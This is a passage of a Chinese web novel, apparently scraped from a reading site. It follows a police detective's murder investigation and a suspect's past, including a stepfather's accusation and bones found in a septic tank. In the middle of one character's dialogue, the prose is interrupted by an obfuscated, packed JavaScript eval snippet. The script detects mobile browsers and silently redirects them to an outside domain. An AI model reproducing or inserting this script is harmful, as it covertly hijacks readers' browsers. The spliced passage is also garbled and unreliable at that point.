世界静谧下来,只剩车轮与石头反复拥抱和告别的声音,公园很大,男女像上个世纪的好朋友,在自行车上完成了一场不能直说的约会。 回到警局,跟值班警员那做过登记后,两人进了停尸间。 冷气裹挟住人,池千雪庆幸今天穿了长裤,但露出的胳膊还是被激出了疙瘩,她没去在意,戴上手套打开了陈惠所在的停尸柜,没有注意到姜不招默默更靠近一些,站在她身后似一堵墙,仿佛这样就能起码遮挡这一面的冷气袭击。 陈惠静静地躺在那,眼睛已经合上,身上有解剖后缝合的线条,还有刻在人类基因中令人不适的味道。 池千雪的眼前突然一花。 一个虚拟光屏般的东西出现,像有人在虚空中的键盘上无声打字一般,光屏上面飞速出现一段又一段的文字: 【上一世,陈惠惨死在了肮脏的暗巷之中,就像她的人生一般,从生到死,从未干净明亮过。 灵魂飘荡空中,本是怨恨无边难以解脱,谁料害过她的人接连落网,世界总算给过她一场公道! 再次睁眼时,她竟然重生在高三时的校门口,眼前是从乡下赶来的父母,他们以奶奶生病为由将她骗回了家,强行嫁给了一个暴戾的傻子! “好,我回去看看奶奶。” 站在人生的岔路口,陈惠虽然还是颤抖着说出同样一句话,却是为了做出截然不同的选择,她不回去,就会有另一个女孩受罪,且不一定能像她成功逃出去,所以她必须回,而这一世,她要有仇报仇有冤报冤! 这一次她不会被骗,不会嫁给傻子,不会被村民欺负,不会逃到云都当了小姐,不会被那个变态盯上,不会……不会赤裸着全身死不瞑目在那条暗巷之中! 第一:她要傻子全家坐牢去!将傻子送进精神病院! 第二:她要断绝亲情脱离这个可怕的家和能吃人的故乡!再将搜集的证据举报到有用的地方去! 第三:她要赚到一笔钱,接着好好学习忘光了的知识,必须考上公安大学! 第四:她要积蓄力量,尽快找到杀了她的那个变态犯罪的证据,尽早将他绳之以法,尽量救下更多的人! 人活着,要活得有意义啊,可以是对自己,更可以是对社会! 立意:贫则独善其身,达则兼济天下。】 这是一个小说文案。 这是陈惠全新的人生。 池千雪笑着将停尸柜推了回去。 姜不招不解:“不是要和她说说话吗?” 池千雪看他,眼睛里带着一点水光,眨了眨眼后水光消失了,仿佛前面只是个错觉。 她眉眼弯弯道:“已经不需要了。” 那种违和的,怪异的,但又能确定是无害的感觉又来了。 姜不招看着池千雪,他点了点头:“好。” 他觉得她有一个秘密,甚至不止一个。 9. 实名举报 回到家时已经将近零点。 池千雪上了三楼,电梯旁做了隐蔽处理的杂物兼临时休息间里,张管家闻声出来。 张管家及一众女佣的房间都在主楼西侧后院内,她日常专门负责与池千雪相关的一切事物,如果三楼在夜间有需要,按下任意智能呼叫铃,她立刻可以收到,当然手机联系也是可以的——当代人,什么能有手机方便顺手呢? 可现在,她还是穿着一身黑色套裙制服,头发依然贴紧头皮一丝不苟的,脸上是淡淡得体的妆容不带丁点油光,只是因为匆忙的缘故,脚上拖鞋来不及换成皮鞋,但不影响她看起来仍旧精神饱满。 这几天她都是这样,不论几点都必须要等池千雪回来,她知道池千雪不会在夜里按响那个呼叫铃,于是固执地用了别的办法。 “论理是我不应该,这样的行为会给小姐带来一定的压力,好像某种逼迫和控制一样。”张管家在池千雪劝说不要等的时候这样回答。 “但是,这是家啊,一个家,怎能没有一盏灯亮着等着?况且我每晚都在看书消遣自得其乐,白日也会充分午休,请小姐相信,我正在快乐地做着我想做的事情!” 池千雪很认真:“张姨,熬夜伤身。” 张管家也点头附和:“是啊小姐,熬夜伤身的。” 弄得池千雪没办法,哭笑不得问她:“要是我哪天在外过夜,太忙或者玩得忘记和您说呢?” 张管家歪头煞有其事想了想: “嗯,真的那样,那替小姐高兴还来不及呢!过去呀,小姐就像个苦行僧似的,能换个活法也是不负此生呢。”她最后甚至还给了个wink,笑说,“对小姐的身手,我没什么不放心的,多玩玩,要开心尽兴哦,注意安全就好。” 池千雪当时脸爆红,跺跺脚跑回房了。 后来想想,张管家慧眼如炬,不知怎么就看出了女孩已经变成了女人,所以开明地接受隐晦地提醒,背后也不知道琢磨练习了多久如何说…… 回到今晚,背着手从电梯出来的池千雪,变魔术般掏出了一束粉色百合花。 “铛铛铛——张姨,送给你哦。” 回家的路上,有间花店竟然在这中元节□□地营业着,她就停下来挑了一束,百合很香很温柔,就像妈妈的化身。 张管家眉眼瞬间亮起来,因为实在意想不到,所以抱着百合手足无措了好一会,低头看花抬头看人低头抬头:“好看,真好看!张姨好喜欢,好喜欢的!小姐竟然还记得!我最最喜欢粉色百合的……” 池千雪才想起来,有一年,那位温柔美丽的母亲曾当着两人的面笑说:“乖囡囡,哪天要是惹你张姨难过,你就买束她最爱的粉色百合花,保准哄得她开心起来……” 原是褪了色的陈旧回忆,在脑海中逐渐清晰起来,池千雪意识到这是个美好的误会,她浅笑,默认下来,她从此会牢牢记住的。 张管家很快收拾好心情,将百合好好地先放在玄关案几上,开始每日一问:“饿了吗?有特别想吃的吗?” 池千雪完全放松地换鞋子放下包包,伸着懒腰往里走,一边回答她:“张姨,就上盏牛奶燕窝就好,嗯,今天要加点蜂蜜。” 张管家看着个子高挑的小姐,仍是如同看一个娇娇软软的小孩一样,满口好好好,乐呵呵准备去了。 池千雪其实没想在夜里还劳烦别人,但张管家需要被她需要,这满庄园的其他人更加如此,过分尊重只能带给他们惶恐更甚至失业,何况她还是张管家的心理支柱,那么她也不必矫情,非要因为如今生龙活虎了就搞什么独立,又不能彻底执行,何必呢。 泡过澡吃宵夜的时候,张管家突然欲言又止,最终还是说出口:“今天晚间时,家里来了好些客人,都是老爷的亲人,让佣人全部出去后,不知道在客厅谈了些什么,只知道那两位老人神情不大愉悦,大概是因为房子的事?” 那天早上的买房对话,张管家都听见了,她深觉市长不达目的是不会罢休的,只是平静了几天而已,看,今天就开上会了,以前她不好说,如今小姐有主见了,她反而可以说了。 池千雪沉吟片刻:“嗯,张姨别担心,我会好好想想,到底要怎么做。” 她笑,上唇糊了一圈白,仰着不谙世事的脸,用着云淡风轻的语调,道:“着急的人也不该是我呢。” 张管家抚摸她微湿的发尾,满眼慈爱地看她,不再言语。 小姐,长大了。 这很好,小狮子小老虎很可爱,但爪子毕竟不够锋利,面对觊觎会力不从心。 夫人去世之前曾告诉她: “别人家的遗言总是希望孩子平安喜乐就好,殊不知,平安喜乐是要有勇气有智慧有武装才可以拥有的,我的孩子,应该成为虎豹狮王,成功捍卫她的领地,捍卫她的尊严,捍卫她的人生,因为妈妈没办法挡在她前面了。” 夫人也说:“阿箐,如果她被教‘歪’了,外家又插不上手,没办法如我所盼望地那样成长,那就……让她花钱买平安吧。” 可一直撒钱,又得撒到什么时候?撒到什么程度才算够呢? 人心是永远填不满的,夫人何尝不知,却也只能赌一把…… “夫人,请放心吧,小姐会磨爪了呢。” . 翌日,难得可以从容些的一天。 凌晨一点左右才睡下,六点就被生物钟准时叫醒,不过池千雪已经补足了睡眠感觉精力充沛,这其实是一种难得的天赋,由基因决定。 她套着纯白吊带睡裙,披散一头炸毛的棕色卷发,在三楼四处转悠,嘴上嘀咕:“嗯,该开始了吧!吧?” 最后还是推门进了健身房,换上墙上敞开式衣柜里挂着的运动背心和短裤,这是她成为她之后的第一次。 肩、背、胸、臀、腿,各种力量训练的器械静静立在那,下一刻化身成了卡通小人,个个欢欣雀跃地跳了起来抖了抖满身尘土,全新地欢迎主人的回归。 灰是不可能有灰的,就爱想象的池千雪默默安排自己:“今天先练肩背吧。” 上了原主习惯的重量,从轻到重大汗淋漓咬牙切齿练完,感受这陌生的自我折磨的痛苦,体会练完那刻的如释重负,她照照镜子,绷紧肌肉欣赏到了另一种美,擦干自己,又去游了两圈,到早餐厅时,池父就等在那里。 他一如既往的穿着白衬衫打领带,头发有条有理向后梳,造型师很得他意,多年从未换过。 池达的身后,站了个和他着装形象类似,年龄气质也相仿的人,这人便是曾叔,池千雪来后还是第一次见到他。 曾叔另有住处,自然也有老婆孩子,平常的作息安排都是跟着池达走,偶尔才会过来庄园,像今天来,是因为池达要去隔壁省参加一个会议,他做好一切出行安排后,便提前来了庄园等待一起出发。 池千雪学着原主点头礼貌招呼了一声:“曾叔,早上好。” 曾叔嘴角牵起弧度,用了池达同款笑容,温和儒雅亲切地应她:“小姐,早上好。” 池千雪多看了他一眼,收回视线后心想:“这就是池达的替身,没错了。” 如此一目了然的模仿,没有池达允许,根本就不会出现,可是,众人皆能看出的替身,还能发挥替身的作用吗?她想,这或许就是池老狐狸狡猾的地方吧。 此事并非当下重点。 餐桌对面,池达笑呵呵的:“爸爸已经听说了,最近办成了两起大案,尤其西门案,爸爸的同事老友都来过问了,纷纷夸赞你。” 池千雪也浅笑着一板一眼应下:“都是大家一起努力的成果。” “戒骄戒傲是不错,但也不必过分谦虚,作出功绩来就要大方认下。” 见人点头应下,池达觉得女儿还是那个女儿,并没有发生什么难以掌控的变故,于是开口了: “上次说的事情,其实爸爸也觉得该写你的名字,反正你又不会不让爷爷奶奶住。” “可是啊,人老了老了,会缺乏安全感,这一点,子孙满堂家财万贯保姆成群也未必能够弥补。” 池达缓缓继续: “住到你小叔叔家是可以,但婆媳问题千年难解,何况这事其实也怪爸爸,是我主动提的,好不容易老人没有心理负担接受了,你这边不同意,他们昨天特地过来训斥了爸爸一顿,是爸爸错,不该自作主张。” “小雪,你能理解爸爸的难吗?” 静默,还是静默。 池千雪早就放下了筷子,垂着眼皮不说话,池达于是又问:“是有什么为难的地方吗?你和爸爸说,不行爸爸就另想办法!绝不会让我们小雪委屈!” 好一套连消带打的组合拳。 池千雪心里已有数,这笔钱真正要花去的地方,恐怕是不能和她说的。 “爸,我想和爷爷奶奶住啊,为什么他们不愿意呢?是我哪里做得不好吗?家里这么大,我时常觉得孤单。” 这话一说,就显得她不肯抬头,是不想让人看到她难过的神情,池达叹口气,女儿不仅没应,还丢回来一个不得不认真对待的新问题。 他在饭桌上开始了长达二十分钟的“关于爷爷奶奶爱你但为什么不能来家住”的演讲,讲到最后,好不容易哄好了池千雪,对方点点头: “爸我知道了,晚些我们再好好讨论吧,想来也不急于几天时间,如果爷爷奶奶实在不愿意住小叔叔那,先来家里暂住几天总是可以的吧?” 她起身:“那么,爸您慢用,我要去局里了。” 池达被噎在那,看着人远去,慢慢皱起了眉头。 小雪说的话本身没有任何问题,但可惜,等不了的不是他爸妈,而是那个小祖宗,之前闹腾起来还磕到了自己,孩子忘性都大,偏偏这次记到现在还不肯罢休,他能怎么办? 池达的身后,曾叔垂目不语,像一尊无知无觉的雕塑。 直到池达开口吩咐:“你抽空去查查,小雪是不是交了什么心思不正的朋友?” “好的。” . 池千雪来到警局,二队办公室里大伙都在。 姜不招的位置在最里面,池千雪进来的第一眼就看到他,随性的黑T牛仔裤穿搭,偏长但利落的黑发,沉默时冷峻的气质,人群里像会发光,你一定会先注意到他。 姜不招此刻正微微垂眸看手上一份卷宗,一手拿着个大白馒头,时不时喂自己一口,桌上搭了杯早餐店随处可见的那种豆浆,塑料袋里一堆鸡蛋壳,这顿早餐预计没有超过十块钱,池千雪特意了解的基础物价,下意识就算起数来。 听见门口动静,姜不招似有所感迅速抬眼,就看到池千雪进来。 她今天穿了身粉色娃娃领夏季套装裙,胸前一枚璀璨玫瑰胸针,梳的半扎发,发带也是粉的,就这样汇入几乎全是黑白的世界之中,成为唯一一抹亮色。 她的两颊也是粉红的,青春靓丽热情洋溢地和大家打着招呼,最终走到姜不招面前。 姜不招心跳得有些快,白馒头还叼在嘴上,唇齿一松后立刻摇摇欲坠,他骤然回神,毛头小子一样手脚慌乱了好一会才摆正。 池千雪凑过去和他商量:“本来今天可以休息的,既然大家都不要,那不如安排个旧案?” 正吃肉蛋菜虾仁等全家福版肠粉的江望耳朵一动,瞬间苦脸,长官是什么魔鬼?大家不休是为了攒着以后长休,顺带还可以摸鱼一天好吗! 早就收拾好自己的代福音则跃跃欲试,只是这会不好插嘴,另两位老神在在嗦粉,工作上两人反正怎样都行。 姜不招就将手上卷宗递过去:“这个案子,我在首都时就被人咨询过甚至拜托过,那时没想到有机会调回来,今天去档案室看到,就提出来了。” 言下之意,就查这个吧。 池千雪一看,可不就是原主也想查的那桩女演员失踪案,她立刻决定:“就这个了!” 方案定下,她问他:“你竟然喜欢干吃白馒头?” 姜不招摇头:“不喜欢,但它是干净快碳。” 他回答的好认真,池千雪一时无语,她迅速偷瞄一眼对方肌肉又收回,男人练肌肉就是比较容易啦,她咽了咽口水,自己都说不清自己在想些什么。 回转身:“那我们九点半集合开会哦。” . 二队没能等到九点半开会。 九点十分,一个大腹便便相貌平平上了年纪的男人,走进了东城分局的一楼。 他要举报一桩杀人案。 “我懂的,杀人案找刑警,派出所去也白去,还是要到你们这的。” “我实名举报,我女儿,继的,继女杀人了!” 他站在一楼大喊大叫,二队姜不招等人被喊下来的时候,门外又出现一个中年妇女,她穿了双松糕鞋,曲着膝盖追得很吃力,到男人边上时气喘吁吁半晌,才开口:“老陈,不会的,怎么可能的,回去好不好?” 这大概就是母亲了。 她男人却不停,粗鲁地甩开她攀上来的手,指着她骂得唾沫横飞: “哪天她把我也杀了你就满意了是吧?也对,就是你把人招来的,谁知道你背地里什么心思?巴不得我死了,升官发财死老公啊嘛,你个……”骂到最后,一口当地白话又快又急,已经完全听不清听不懂了。 这个母亲摆手解释后一跺脚,也横眉竖眼泼辣起来——至少神情语气是这样的,说:“好了好了,我不拦你就是咯!” 夫妻俩达成一致,双双转头看面前的警官,老陈皱紧眉头,这种小白脸能干好活吗?还浑身泛冷气,他嫌弃地推开人,握住了曹空城开始拜托,瞬间声泪俱下的模样,但是眼睛干巴巴的,没有眼泪只有眼袋。 “警官救救我啊!把人抓起来!真的,她杀人了,杀的她男朋友!” 曹空城笑呵呵的抽出手,摸了摸念珠:“这是我们姜队长,你跟他好好反应好好说清楚,不着急不激动。” 姜队长面不改色:“楼上说吧。” 一行人上楼,正好撞上池千雪,于是都一起到了二楼专门一个接待室。 人坐下了,开了冷气,递了茶水,两人却又支支吾吾地说不清楚,杀人了三个字来回地嚼,已经被嚼得索然无味了。 姜不招见男人眼神乱飘,时不时落到池千雪身上,将手握空拳,扣在桌上狠狠敲了几下:“说不清楚,就请两位回去想明白了,再到街道派出所去报案。”摆明恕不奉陪的态度。 男人回神了,舌头也捋直了。 “她那个女儿,杀了她男朋友,好像是姓何,几个月前的事了,当时还闹得挺大,哦,我记得就是你们东城区的刑警查的,也没查出个什么东西来。” 姜不招抬手打断他,转头吩咐江望:“看看一队谁在?请人过来一起听一下。” 老陈听懂意思,自动闭嘴了,眼神又开始往池千雪身上飘,这次不用别人打断,池千雪自己冷下脸:“陈先生眼睛不舒服,就闭上等着。” 身旁姜不招也冷冷看过去,他不说话时本就像座冰山,如今看着更像是能将人眼珠子挖出来,老陈顿时老实了,他老婆则一直在抖脚,沉浸在了自己的世界里,不知道在想些什么。 池千雪打量两人,男强女弱的中年夫妻,男人烟酒相,女人劳碌相,都有些憔悴,也同样带着刻薄,她不免以貌取人,想像出一场无良父母祸害不肯顺从的子女的戏码。 这恐怕是场闹剧。 这是所有人的第一判断。 但查案不能依靠直觉判断。 一队来的是队长方孔明,还是龙行虎步,江望仍在后头追着走,他已经像山一样稳稳坐在了姜不招另一边空出来的座位上,示意大家继续吧。 “她在银行上班,男朋友姓何,她杀的。” 大家等着下文,眼睛瞪眼睛,江望喊:“没了?就这?” 闹呢。 方孔明开口:“这案子我记得,虽然确实有很多怪异之处,我们为此也跟了她一段时间,但最终没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738993|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有证据证明是她杀的人,甚至只能定性为失踪,因为同样没有证据证明人死了。” 根据调查,她也确实没有能力条件杀人。 老陈一听急了,他都来报案了,要是不能把人弄进去,被知道了报复他怎么办! 他拍桌子,被眼神警告了又改成拍胸口,啪啪啪地响:“我拿性命担保,我说的都是真的!” 众人无语:“谁要你的命啊?”“那你又是怎么知道的呢?” 他急了:“哎你们真啰嗦,那个石厦公寓,你们去查化粪池,找不出骨头,我随你们处置,我去坐牢!” 他生出了急智:“我已经说到这个份上了,如果事情是真的,你们今天不肯办,以后哪天翻出来了,那你们就是犯了重大错误,那就是你们的责任了!” 两位队长闻言,皱起了眉心。 方孔明看姜不招:“他奶奶的,这还让他拿捏住了!姜队,怎么说?” 方队长有着一对虎目,眉心竖纹很重,牙口泛黄是个老烟枪,乍一看不好相处,其实他为人正义负责,破案无数荣誉无数。 姜不招是很尊重对方的:“方队长,看您队伍里的安排。” 言下之意,忙得过来就还是他们一队的案子,忙不过来,那就彻底移交给二队。 方孔明点点头,他边起身边拍拍姜不招肩膀,见人在他大掌之下纹丝不动,满意勾了勾嘴角:“我让人将相关资料移交你们二队。” 这桩案子,便由二队接手了。 看事情如自己所愿的发展,老陈得寸进尺安排起来:“那警官,你们得先把人抓来警局看着吧,万一她听到动静害怕了跑走了怎么办?她有护照的,我看过!” 一屋子人看着理直气壮的老陈:“……” 很无语,但是,也不能说就错了。 “我们自会安排,两位等下签个字留个联系方式,就回去等消息吧。” 老陈得意看他老婆:“看看,看看,叫你整天看那些婆婆媳妇的电视,要看就看警匪片啦。” 鄙视完,才通知警官们:“等你们抓到人了,我们才回家,那之前,我们哪也不去的。”说着起身到饮水机那续水,坐回去了。 池千雪:“对了,签字前必须说明举报的前因后果来龙去脉,不然您二位想走,也是不能走的。”这个老陈绝对也有问题。 丢下瞬间难看下来的两张脸,出门后,她请代福音安排警员关注二人,接着众人便到了二队办公室各自动作起来。 接收资料的同时,还要忙着申请各种手续,那么大动作,哪里是说办就能办的。 要审批,满足勘验条件后才能对化粪池进行抽取工作,要联系公寓物业配合,要集合吸污车吸粪车准备隔离服等设备,要请痕检等部门派人一起出发现场待命,冲洗筛查…… 等一切调动好,已经到了中午十二点多,这已经是很高的效率了。 池千雪和大家一起匆匆吃了份烧鹅饭后,姜不招带队出发去石厦公寓,她就和代福音去见了那位被举报的嫌疑人。 没有证据的事,警方也只能请人来问话,还不到审讯的地步,池千雪去了问询室,门开,里面的人闻声抬头。 池千雪惊讶出口:“你是,你就是月牙?” . 月牙很白,不像池千雪白里透红,她是一种苍白,粉底腮红淡到看不出来,可能是头上灯光的原因,灯还照出了她眼下那片遮不掉的青黑,显然在被请来警局之前已经状态不好。 她穿着银行的黑白色制服,花色丝巾扎得很漂亮,为她本身甜美的五官添了一份知性,没有刘海,乌黑头发梳得非常整齐,被黑色网兜包在紫色头花下面,这样一个身材纤细甜美知性的年轻女孩,会杀人吗?能杀人吗? 月牙看着池千雪却没有惊讶,眼神在对方身上走了个来回,浅浅笑了,压下了所有复杂不明的意味。 她早就知道对方,也关注着对方,市长千金,老钱后代,警校毕业后在中心城总局实习,而后空降东城分局管理层,三级警督,刑侦支队副队长,正处级别,真正的不知人间疾苦的天之骄女。 也是血缘上,她的远房姐妹,很远的那种,两人曾在一场新年家族聚会上有过一面之缘,并不能有更深的交流,池千雪被人包围着,她根本凑不上去。 “我是月牙,我记得你,我爸爸最崇拜的,就是他的同族兄弟池市长,饭桌上永远会谈论起他并学习他的一切,方方面面的那种……” 话有未尽之意,月牙呵了一声,用了很讽刺的语调结束这一段,转而问:“请问警官,我又犯了什么罪呢?” “有人报案,说你杀了你那失踪的男朋友。”池千雪再次翻阅那份失踪档案,代福音正襟危坐,手放到笔记本键盘上,开始她第一次问询笔录。 月牙闻言,明显放松下来,未知才令人紧张,她靠上了座椅靠背:“该说的该查的,你手上的档案里全都有,我真的没有任何隐瞒,所以现在是有什么新证据?你直接审我吧,我知无不言绝对配合。” 她声音如人一样温柔悦耳,咬字清楚声量语速都适中,池千雪情不自禁地对她生出好感,只因对方给人的感觉太好了,就像,像一汪能够解渴的清泉!实在不像可以杀人的罪犯。 但案子不能这么办,池千雪起身倒了杯温水,递到月牙跟前,语气温和试图拉近距离后能问到些不一样的: “这几个月很煎熬吧?警方几次三番地找你,想来也给你带来了很大的困扰,不如你再想想有没有什么被你忽略的细节?哪怕是你觉得毫不相干的小事,找到何元聪的下落,对你也是解脱,不是吗?” 月牙轻叹气,睫毛似蝴蝶翅膀扇动,眸光里尽是无辜:“如果真的非要找一个异常的话,那就是阿聪离开的那晚我睡得很沉很沉,第二天差点迟到,这一点我早就交代过,你们不信我。” 不管池千雪问什么,其实都是最初一队反复问过的,月牙虽言简意赅却不厌其烦全程配合,表面上看不出任何破绽。 池千雪实践了她最近消化的问讯技巧,和对嫌疑人神情变化肢体语言及微表情的解读,全部无果后,果断打住了,也不能说没有结果,若仅仅按照理论总结,月牙给的反应全都是无辜者该有的。 给月牙一份饭一杯水几张纸,陪她去了洗手间,池千雪回到办公室等待队员们的调查结果。 黄昏时,队员们带着一身异味,脸色铁青神情严峻脚步匆匆地踏进了东城分局。 过程如何被恶心吐了先不提,重点是:石厦公寓的化粪池里,果真挖掘出了好些零零散散被腐蚀干净的白骨!虽然有小部分缺失,但确实是人骨没错! 老陈不知道什么时候跑出来的,他追着法医队伍又开始大喊大叫,引得一二楼所有目光都投了过来,他这次没有得意,也不是某种表演欲作祟,而是靴子落地后,生出了真正的恐惧和后怕:“看看,看看,我就说!她真杀人了!真杀人了啊!” 他被请回了接待室,池千雪则选择和自家队员擦肩而过(相隔一米吧),真心道了句“辛苦了!”匆匆奔向鉴定中心了。 姜不招凝眉肃然:“现在第一件要做的。” 众人立正听命。 “去洗澡!” “是的姜队,好的姜队!” 嗷嗷嗷的,江望带头从大楼后门出去,那里有公共浴室、健身房和正在装修的食堂等等。 洗过澡搓干净全身衣物,烘干机一烘,二队崭崭新回归,想找长官报告情况,没见到人,一路找到鉴定中心去了。 池千雪站在解剖室,法医宋辞正旁若无人地清理满是脏污恶臭的骸骨。 一群人过来,都没能惊动专注的两个人。 姜不招奇怪,池千雪一直盯着台上勉强拼凑出来的头颅骨,主要是空洞洞的两个眼窝处,呼吸很轻一动不动,仿若进入了某种奇异时空。 池千雪动不了。 她被一个故事包围住,文字生出了力量,将她五花大绑难以挣脱。 10. 五马分尸 云都很乱,乱到什么地步呢? 一个艳阳天,满是复古建筑的购物胜地内,人来人往的五马街上,那著名的五匹骏马雕像下,有个人只是摔了一跤,下一秒竟被五马分尸了。 蓝天白云,尸块乱飞,血液四溅。 现场的活人们惊叫连连,同时掏出手机点开相机再点击拍摄,然后放大放大再放大。 当然也不是所有人都这样啦。 一位白领丽人不幸分到了一节白胖胖的胳膊,她拿在手上,吓得面无人色,可越是害怕,越是下意识地加重了力道,在这样混乱惊恐的情绪中,她脑中闪过的最明确的念头竟然是:“手离开了人,竟然还是温热柔软的……” “啊——我在想什么鬼东西!”月牙终于回过神,第一时间松手,丢炸弹一样将这节胳膊丢了出去! 胳膊在空中划了个弧度,掉在了街边地面一张大白纸上,大白纸的主人——一个老乞丐,咧着不剩几颗牙的嘴,指着胳膊笑啊笑,简直是个疯子,和胳膊压住的那个血红“冤”字一样瘆人。 月牙只能看到这,因为她必须立刻马上冲进最近的卫生间,至少消个十次毒洗上二十遍手才行!!! 云都很乱,又不至于乱到令人绝望。 月牙空着手和肚子回到行里,还没开口倾诉刚刚的经历,同事便摇着手机上警方的初步通告对她说: “不远处被五马分尸的大老板,凶手竟然是街边那个老乞丐,我还给过他钱呢,不过他嫌少没要,实在令人意想不到啊,他竟会在众目睽睽之下杀人,还是用的透明鱼线,鱼线啊!这怎么可能的事情,我想破脑袋也想不出来……除非他有特异功能!” 月牙惊讶住了,命案时常有,毕竟云都挤了太多太多太多人,可这么快就查出凶手,还是手法如此诡异的案子,确实有些不同寻常。 “这世界上哪有什么特异功能呀,只是技术壁垒信息茧房让人和人的差距大过鸿沟,更可能是警察局里出了神探吧。” 月牙随口这么一应,顺口用上了昨晚在八爪鱼上刷到的两个有深度的词,不寻常就不寻常咯,她们小老百姓苟住自己的命就行,没那功夫在意真相,甚至她想到老乞丐天天铺开的那张冤字,思绪一划而过: 也可能不是出了神探,而是出了又一个“冤”呢? 午饭是不可能再吃了,月牙戴上耳机趴在桌面:“我睡会啊。” 这是她进银行的第三年,因为服务好业务佳形象靓,被经理调到了大堂一侧的低柜,负责办理非现金业务,从此再也不用被关在玻璃后面点钞票,每天带着一身细菌满鼻子的灰尘回家,还有了正常的做五休二,和每天长达两个小时的午休时间,推销保险理财也更容易成交并拿到提成,月牙挺满意的。 不过她更想转岗到客户经理岗——在结婚以后,只要爸爸那里肯帮忙,存款任务是不难的,她只要将各种资格证考下来,行长想来也会愿意她加入…… 她幻想着,慢慢合上了眼睛。 生活一定会越来越好。 . 夏日的傍晚,太阳还舍不得下山,但人类只愿到点就下班。 卷闸门早被拉下来大半,何元聪停好车,站在了门边老位置。 银行外有个穿大红上衣的大姐经过,突然就对她一身蓝色校服的小孩说:“看看,还是得好好读书,以后就进银行上班,到点就关门,一分钟都不带多等的,多好。” 两人组合实在显眼,何元聪的视线不由自主跟过去。 他看见孩子苦着脸回:“我只希望老师响铃就下课,一分钟都不带拖堂的,那才是真的好。” 话落,大姐毫不留情赏了孩子两道爱的铁砂掌,看着是重,但全打在后背的怪兽书包上,接着母子俩重新手拉着手,很快在附近公交站上了公交车。 何元聪嘴角笑意还未落下,背后也被人拍了一下,别说,这力道真有点铁砂掌的意思。 “猜猜我是谁呀?”月牙躲在背后夹着嗓子揪住他衣角不让他转身。 何元聪无奈又宠溺地配合她:“一定是宇宙超级无敌可爱美丽又善良,绝对绝对不打老公的仙女月牙儿吧!” “哎呀讨厌啦!你偷加台词,罚你……就罚你陪我去吃烤肉吧!” 何元聪看着转到正面冲他撒娇的月牙笑道:“吃烤肉啊?老婆罚得好!我一点儿也不想吃!” 后脚从银行出来的几个同事受不了了:“这恋爱的酸臭味哦,我说你们赶紧走啦,放过我们这些万年单身狗吧!” 两人对视一笑,很是听劝的上了车,很快启动车子汇入车流之中。 月牙点开了广播。 【池市长,请问您对网络上称您喜爱作秀的热搜怎么看?】 【呵呵,我对政治作秀那套没有兴趣,我只想造福广大民众,成为云都市长后……】 月牙听笑了,主持人看似提出了一个尖锐的问题,却实实在在给了这位市长一个解释(再次作秀)的机会,总会有人买单的,估计还不少呢,这一招比没人问于是也不好到处解释,可要高明太多了。 接着她探身转换了好几个频道才停。 【x女士点播了一首歌…… 听说过美丽与哀伤 是女人的出生地 那里有冷艳和虚空 让女人分清尊卑 …… BabyIjustwannaloveyou 可否好好欺骗我 Makemecry】 音乐倾泻而出,两人一时都没有说话,过了一段较为顺畅的路段后,汽车挤进了拥堵的晚高峰中。 时停时行的车里,一曲终了,月牙稍稍调低了下一曲的音量,先是看着窗外道:“今天比之前堵得要早啊,还以为能赶在堵车前出去呢。” “恩,是啊。”何元聪专注看着前方车辆,随口应了一声,握着方向盘的一双手掌有力手指修长。 月牙转头看男友,在互联网公司工作的何元聪很是帅气,一米八二的高个,流畅的脸型上浓眉高鼻薄唇内双眼,没去当明星是因为读书成绩实在太好,父母宁愿将他打死也不愿他浪费读书的天赋。 月牙还记得当初她听到这话,在何元聪的怀里笑得前仰后合:“那颜值天赋就可以被浪费了吗?拜托,这才是真正的稀缺品啊!”接着她就被对方推倒在床亲亲亲:“宝贝你也是啊……” 月牙回忆当初再看看他如今,时不时赶项目的压力没能推移他的发际线,长期的久坐不动也没有长出肚腩破坏体态,眼神依旧清正,还是当初联谊会上偶尔一瞥就被惊艳到的翩翩青年啊。 月牙心里美滋滋的,像是突然想到什么开口问道:“啊,你年假请出来了吗?我这边肯定没问题,要是还没,这周末就先去我爸家吧。” “啊?”何元聪愣了一下,下意识看了一眼女友,立马转头回去,明显心虚道:“老婆啊……最近要争取一个新项目,周末都要加班,更别提年假了……” 月牙嘟嘴不高兴:“哼,我要是没想起来,你打算什么时候告诉我呀?我生气了!”可她的声音听起来还是软软糯糯的。 何元聪腾出右手,紧紧拽住女友左手贴到他胸前,愧疚道:“宝贝对不起,老公一定补偿你,清空淘物的购物车好不好?” 月牙挣脱不开,其实也不想睁开,她的手就贴在他心脏位置,听着他砰砰砰有些偏快的心跳委屈道: “谁要你买单了?我自己会买,一点一点买,有个冷静期还能省钱呢!见父母是你提出的,结果几个月了都没能成行,我都等得紧张不起来了,你怎么越来越忙了呀!” 何元聪趁着前车不动的间隙,踩住刹车,俯身到副驾亲了月牙发顶一口:“好啦,是我非要买单的,你必须同意,等忙过这阵我立刻安排休假。” 月牙哼哼唧唧几下,妥协了。 她将话题转移到中午那段遭遇,在何元聪的震惊中说完后,她挥舞着一双手又开始后悔提起,此时车子也终于到了最堵的一段,有交警不停在车辆间指挥着,前方侧面还拉了警戒线,两人一看,原来提前的堵车是因为一场车祸。 随着指挥车身缓缓往前,月牙将车窗开到底,看见了惨烈的现场。 红绿灯口不远,绿化带旁的公交站,躺着一大一小两具尸体。 一个胸腔凹陷,一个头颅碎裂,血液混合着浓稠的不明组织,缓缓流淌在地面,警察也被堵着迟迟不到吧,所以没人可以给尸体最后的体面,而是就这样摊在黄昏下,像草原上被肉食动物撕咬到一半丢弃掉的残骸,直白白呈现出生命的无常和脆弱。 月牙不忍看,又忍不住细看,瞪着眼睛竖起耳朵,对开车的何元聪转述了现场。 天还亮着就醉驾的中年男司机撞进了站台,撞倒了刚下车又或者在等车的母子俩,边上还有惊魂未定死里逃生的其他人,不自觉地掐尖嗓子高声调地重复了无数遍事情经过,以此确认他们的活着。 月牙不禁难受道:“这也太倒霉了……” 何元聪理所当然认为她是指死去的人倒霉。 